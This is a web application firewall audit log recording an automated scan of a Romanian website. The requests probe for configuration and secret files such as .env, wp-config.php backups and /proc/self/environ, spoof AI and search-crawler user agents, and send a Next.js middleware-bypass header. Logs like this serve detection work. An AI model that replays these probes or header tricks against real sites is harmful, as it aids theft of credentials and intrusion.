Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"] [hostname "3000demotive.ro"] [uri "/userfiles/x"] [unique_id "aqZA2jTJ6xTvcJoem7f4SAAAAEg"]
Action: Intercepted (phase 2)
Stopwatch: 1789280474890588 6078 (- - -)
Stopwatch2: 1789280474890588 6078; combined=4547, p1=437, p2=3817, p3=0, p4=0, p5=292, sr=197, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e7ff6312-Z--

--b864634f-A--
[13/Sep/2026:09:21:15.084994 +0300] aqZA2mM7dE9KgIIOpQhq9gAAAMI 34.181.172.83 42706 127.0.0.1 7081
--b864634f-B--
GET /wp-config.php.bak HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--b864634f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--b864634f-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/wp-config.php.bak"] [unique_id "aqZA2mM7dE9KgIIOpQhq9gAAAMI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/wp-config.php.bak"] [unique_id "aqZA2mM7dE9KgIIOpQhq9gAAAMI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/wp-config.php.bak"] [unique_id "aqZA2mM7dE9KgIIOpQhq9gAAAMI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280474951066 133981 (- - -)
Stopwatch2: 1789280474951066 133981; combined=31078, p1=245, p2=30774, p3=0, p4=0, p5=58, sr=90, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b864634f-Z--

--3646673e-A--
[13/Sep/2026:09:21:15.159238 +0300] aqZA2mM7dE9KgIIOpQhq9wAAAMY 34.181.172.83 42720 127.0.0.1 7081
--3646673e-B--
GET /wp-config.php.old HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--3646673e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--3646673e-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.old||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/wp-config.php.old"] [unique_id "aqZA2mM7dE9KgIIOpQhq9wAAAMY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.old||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/wp-config.php.old"] [unique_id "aqZA2mM7dE9KgIIOpQhq9wAAAMY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/wp-config.php.old"] [unique_id "aqZA2mM7dE9KgIIOpQhq9wAAAMY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280474960392 198898 (- - -)
Stopwatch2: 1789280474960392 198898; combined=31865, p1=352, p2=31450, p3=0, p4=0, p5=62, sr=161, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--3646673e-Z--

--0fcee812-A--
[13/Sep/2026:09:21:15.199006 +0300] aqZA22M7dE9KgIIOpQhq@gAAANY 34.181.172.83 42744 127.0.0.1 7081
--0fcee812-B--
GET /laravel/.env HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--0fcee812-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--0fcee812-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/laravel/.env"] [unique_id "aqZA22M7dE9KgIIOpQhq@gAAANY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280475059840 139226 (- - -)
Stopwatch2: 1789280475059840 139226; combined=4619, p1=169, p2=4392, p3=0, p4=0, p5=57, sr=77, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0fcee812-Z--

--35aafd3d-A--
[13/Sep/2026:09:21:15.267230 +0300] aqZA22M7dE9KgIIOpQhq-AAAAMk 34.181.172.83 42762 127.0.0.1 7081
--35aafd3d-B--
GET /core/.env HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--35aafd3d-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--35aafd3d-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "81"] [id "33311"] [msg "IM360 WAF: Found crawler not in whitelist||T:APACHE||User-Agent:Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)||MV:09-21.34.181.172.83"] [severity "CRITICAL"] [tag "service_i360"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Stopwatch: 1789280475235239 32043 (- - -)
Stopwatch2: 1789280475235239 32043; combined=30696, p1=256, p2=30194, p3=0, p4=0, p5=245, sr=113, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--35aafd3d-Z--

--9c19b22c-A--
[13/Sep/2026:09:21:15.284516 +0300] aqZA22M7dE9KgIIOpQhq@wAAANU 34.181.172.83 42760 127.0.0.1 7081
--9c19b22c-B--
GET /config/.env.php HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--9c19b22c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--9c19b22c-H--
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/config/.env.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/config/.env.php||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/config/.env.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/config/.env.php"] [unique_id "aqZA22M7dE9KgIIOpQhq@wAAANU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/config/.env.php||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/config/.env.php"] [unique_id "aqZA22M7dE9KgIIOpQhq@wAAANU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280475086648 197937 (- - -)
Stopwatch2: 1789280475086648 197937; combined=32759, p1=213, p2=32493, p3=0, p4=0, p5=53, sr=93, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--9c19b22c-Z--

--e7ee3246-A--
[13/Sep/2026:09:21:15.446181 +0300] aqZA22M7dE9KgIIOpQhq-QAAAMM 34.181.172.83 42772 127.0.0.1 7081
--e7ee3246-B--
GET /.env.php.bak HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--e7ee3246-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--e7ee3246-H--
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.env.php.bak"] [unique_id "aqZA22M7dE9KgIIOpQhq-QAAAMM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/.env.php.bak"] [unique_id "aqZA22M7dE9KgIIOpQhq-QAAAMM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280475241288 204973 (- - -)
Stopwatch2: 1789280475241288 204973; combined=41413, p1=262, p2=41087, p3=0, p4=0, p5=64, sr=118, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e7ee3246-Z--

--35cc8618-A--
[13/Sep/2026:09:21:15.520207 +0300] aqZA20wu1RSkptiiNIXz6QAAAIQ 34.181.172.83 42794 127.0.0.1 7081
--35cc8618-B--
GET /config.php.bak HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--35cc8618-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--35cc8618-H--
Message: Warning. Matched phrase "/config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/config.php.bak"] [unique_id "aqZA20wu1RSkptiiNIXz6QAAAIQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280475368071 152194 (- - -)
Stopwatch2: 1789280475368071 152194; combined=26944, p1=277, p2=26590, p3=0, p4=0, p5=76, sr=138, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--35cc8618-Z--

--07017736-A--
[13/Sep/2026:09:21:15.902171 +0300] aqZA2zTJ6xTvcJoem7f4SwAAAFE 34.181.172.83 56392 127.0.0.1 7081
--07017736-B--
GET /configuration.php.bak HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--07017736-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--07017736-H--
Message: Warning. Matched phrase "/configuration.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/configuration.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/configuration.php.bak"] [unique_id "aqZA2zTJ6xTvcJoem7f4SwAAAFE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280475686219 216039 (- - -)
Stopwatch2: 1789280475686219 216039; combined=3928, p1=215, p2=3665, p3=0, p4=0, p5=47, sr=82, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--07017736-Z--

--600a5c35-A--
[13/Sep/2026:09:21:16.080361 +0300] aqZA2zTJ6xTvcJoem7f4SgAAAEk 34.181.172.83 56384 127.0.0.1 7081
--600a5c35-B--
GET /public/.env HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--600a5c35-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--600a5c35-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/public/.env"] [unique_id "aqZA2zTJ6xTvcJoem7f4SgAAAEk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280475659731 420688 (- - -)
Stopwatch2: 1789280475659731 420688; combined=8922, p1=3160, p2=5693, p3=0, p4=0, p5=69, sr=3017, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--600a5c35-Z--

--f826b53c-A--
[13/Sep/2026:09:21:16.299024 +0300] aqZA2zTJ6xTvcJoem7f4TwAAAFM 34.181.172.83 56428 127.0.0.1 7081
--f826b53c-B--
GET /storage/.env HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--f826b53c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--f826b53c-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/storage/.env"] [unique_id "aqZA2zTJ6xTvcJoem7f4TwAAAFM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280475746461 552618 (- - -)
Stopwatch2: 1789280475746461 552618; combined=5083, p1=302, p2=4710, p3=0, p4=0, p5=70, sr=147, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f826b53c-Z--

--f570ce04-A--
[13/Sep/2026:09:21:16.505147 +0300] aqZA3DTJ6xTvcJoem7f4WwAAAEo 34.181.172.83 56566 127.0.0.1 7081
--f570ce04-B--
GET /wp/.env HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
